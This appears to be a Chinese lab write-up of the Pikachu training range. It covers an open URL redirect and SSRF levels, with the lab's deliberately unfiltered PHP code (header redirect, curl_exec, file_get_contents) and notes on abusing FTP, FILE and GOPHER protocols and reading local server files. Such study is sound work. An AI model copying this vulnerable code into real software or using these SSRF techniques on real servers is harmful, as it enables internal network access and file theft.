代码审计:前端将$_GET['url']传递给后台,后台没有做任何的安全判断就把$_GET['url']赋值给$url,然后用header函数进行跳转。
$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
$url = $_GET['url'];
if($url == 'i'){
$html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
header("location:{$url}");
}
}
通常存在URL重定向漏洞的页面的状态码为302.
构建url:10.33.2.218/pikachu/vul/urlredirect/urlredirect.php?url=https://www.douyin.com/
直接跳转到抖音
第十五关:SSRF(Server-Side Request Forgery:服务器端请求伪造)
概述:
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
SSRF(curl)
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
前端吧$_GET['url']传给后端,后端没有过滤就直接把$_GET['url']传给了$URL,curl_setopt(): 设置 $URL选项,如 URL、请求头、请求方法、超时时间等。curl_exec(): 执行 $URL请求,并获取响应数据。curl_close(): 关闭$URL句柄。
此url采用了http协议进行访问,这里的话我们可以利用ftp协议让服务器访问我的本地文件。Payload:
访问成功。
SSRF(file_get_content)
在 PHP 中,file_get_contents() 函数用于读取文件的内容并将其作为字符串返回。它可以读取本地文件或远程 URL 的内容。
读取本地文件:$file_content = file_get_contents('path/to/file.txt');
读取远程 URL 的内容:$url_content = file_get_contents('http://example.com');
代码审计:if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
前端把$_GET['file']传递给后端,后端没有进行过滤就直接赋值给$filename,通过file_get_contents() 函数读取文件内容将其作为字符串赋值给$str,最后输出。
所以构造payload来访问F:/phpStudy/PHPTutorial/WWW/webshell.txt中的内容,并输出;
访问成功。
完结撒花,sql‘注入的盲注部分本人还没有很清楚,不敢写出来误导大家,学完之后会再补全,感谢大家的支持和关注。